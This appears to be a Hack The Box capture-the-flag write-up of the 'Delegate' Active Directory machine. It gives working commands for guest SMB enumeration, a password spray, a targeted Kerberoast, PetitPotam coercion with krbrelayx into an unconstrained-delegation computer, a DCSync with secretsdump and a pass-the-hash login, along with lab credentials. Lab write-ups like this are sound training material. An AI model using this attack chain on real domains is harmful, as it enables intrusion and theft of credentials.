HTB: Delegate
← Back to the log
October 24, 2026·Johnytiger

HTB: Delegate

A guest SMB share leaks a SYSVOL logon script with admin creds, and a spray lands A.Briggs. From there we abuse write access to targeted-Kerberoast N.Thompson, whose SeEnableDelegationPrivilege lets us stand up a trusted-for-delegation computer, coerce the DC with PetitPotam, and DCSync the domain admin hash straight to root.

securityctfwriteuphacktheboxactive directorywindowskerberoastingdelegationdcsyncprivilege escalation

Looking at our nmap, we see this is an Active Directory box.

The nmap scan showing this is an Active Directory domain controller for delegate.vl

First thing, let's check for guest shares.

nxc smb 10.129.234.69 -u 'guest' -p '' --shares

netexec listing the SMB shares as the guest account

Let's run spider_plus and crawl the files.

nxc smb 10.129.234.69 -u 'guest' -p '' -M spider_plus

Crawling the readable shares with the netexec spider module

Great, let's check these out.

Browsing the files found on the shares, including the SYSVOL scripts folder

There's a users.bat file in the SYSVOL scripts folder, so let's bring that over to our machine. On review of the .bat script, we find credentials to an administrator account.

A users bat logon script in SYSVOL that leaks credentials to an administrator account

Let's check for other accounts by running a rid-brute.

nxc smb 10.129.234.69 -u guest -p '' --rid-brute

A guest rid-brute enumerating the domain accounts

We get a few. Let's password-spray all the accounts with the password we found.

Spraying the recovered password across all accounts and landing A.Briggs

We get access to the A.Briggs account. Let's see if they have WinRM enabled.

Checking WinRM access for A.Briggs, which is not enabled

They don't. Let's check for writable targets with BloodyAD.

Enumerating writable objects with BloodyAD and finding write access over N.Thompson

We've got a few things going on here. We have write access over the N.Thompson account, so let's set them a new password with BloodyAD.

Trying to set a new password on N.Thompson with BloodyAD and hitting an error

We get an error, so let's try a different approach.

A second password-change approach also failing

Neither SMB nor the impacket changepasswd worked, we get errors for both, so we need to hit this from a different angle. We'll write an SPN onto the account and then Kerberoast it for the hash and crack that.

bloodyAD --host 10.129.234.69 -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' set object N.Thompson servicePrincipalName -v 'HOST/fake123'

Writing a fake service principal name onto N.Thompson with BloodyAD for a targeted Kerberoast

Great, now let's pull that hash.

GetUserSPNs.py delegate.vl/A.Briggs:'P4ssw0rd1#123' -dc-ip 10.129.234.69 -request-user N.Thompson -outputfile nthompson.kerb

Requesting the service ticket for N.Thompson with impacket GetUserSPNs

Alright, now we'll crack it with hashcat.

hashcat -m 13100 nthompson.kerb /usr/share/wordlists/rockyou.txt

Cracking the Kerberoast hash with hashcat against rockyou

Let's check for WinRM.

nxc winrm 10.129.234.69 -u 'N.Thompson' -p 'KALEB_2341'

Confirming WinRM access for N.Thompson with the cracked password

We've got it, now let's log in.

evil-winrm -i 10.129.234.69 -u 'N.Thompson' -p 'KALEB_2341'

Heading over to the desktop, we find the user.txt flag.

An evil-winrm shell as N.Thompson reading the user flag, blurred

Checking our privileges, we have SeEnableDelegationPrivilege on N.Thompson.

N.Thompson holding the SeEnableDelegationPrivilege right

We're going to add our own computer account, mark it as trusted for delegation, point a DNS record at ourselves, coerce authentication to grab a hash, and then DCSync.

bloodyAD --host 10.129.234.69 -d delegate.vl -u N.Thompson -p 'KALEB_2341' add computer evilpc 'EvilPass123!'
bloodyAD --host 10.129.234.69 -d delegate.vl -u N.Thompson -p 'KALEB_2341' add uac 'evilpc$' -f TRUSTED_FOR_DELEGATION
bloodyAD --host 10.129.234.69 -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' add dnsRecord evilpc 10.10.14.x

Adding a computer account, marking it trusted for delegation, and adding a DNS record with BloodyAD

We need our computer account's hash to fire up krbrelayx, so we compute its NT hash and start the listener. Then we coerce the DC with PetitPotam.

python3 -c 'import hashlib;print(hashlib.new("md4","EvilPass123!".encode("utf-16le")).hexdigest())'
sudo python3 ~/tools/krbrelayx/krbrelayx.py -hashes :2ce986df7478744a81b7d00446da7417
python3 ~/tools/PetitPotam/PetitPotam.py -u N.Thompson -p 'KALEB_2341' -d delegate.vl evilpc.delegate.vl 10.129.234.69

Running krbrelayx and coercing the DC with PetitPotam to capture a ticket

We got it! Now let's use this to DCSync. We sync our clock, point KRB5CCNAME at the captured ticket, and run secretsdump.

sudo rdate -n 10.129.234.69
export KRB5CCNAME="$(ls DC1\$*.ccache | head -1)"
secretsdump.py -k -no-pass -target-ip 10.129.234.69 dc1.delegate.vl -just-dc-user Administrator

DCSyncing the domain with impacket secretsdump to pull the Administrator hash

Now we have the admin hash. Let's pass-the-hash and evil-winrm into it.

evil-winrm -i 10.129.234.69 -u 'administrator' -H 'c32198ceab4cc695e65045562aa3ee93'

Heading over to the desktop of the account, we find the root.txt flag.

A pass-the-hash evil-winrm shell as Administrator reading the root flag, blurred

This machine felt pretty real, I enjoyed it a lot. Good practice for Active Directory systems.

End of transmissionAll posts
Drive
Johnytiger
HTB: Delegate · Johnytiger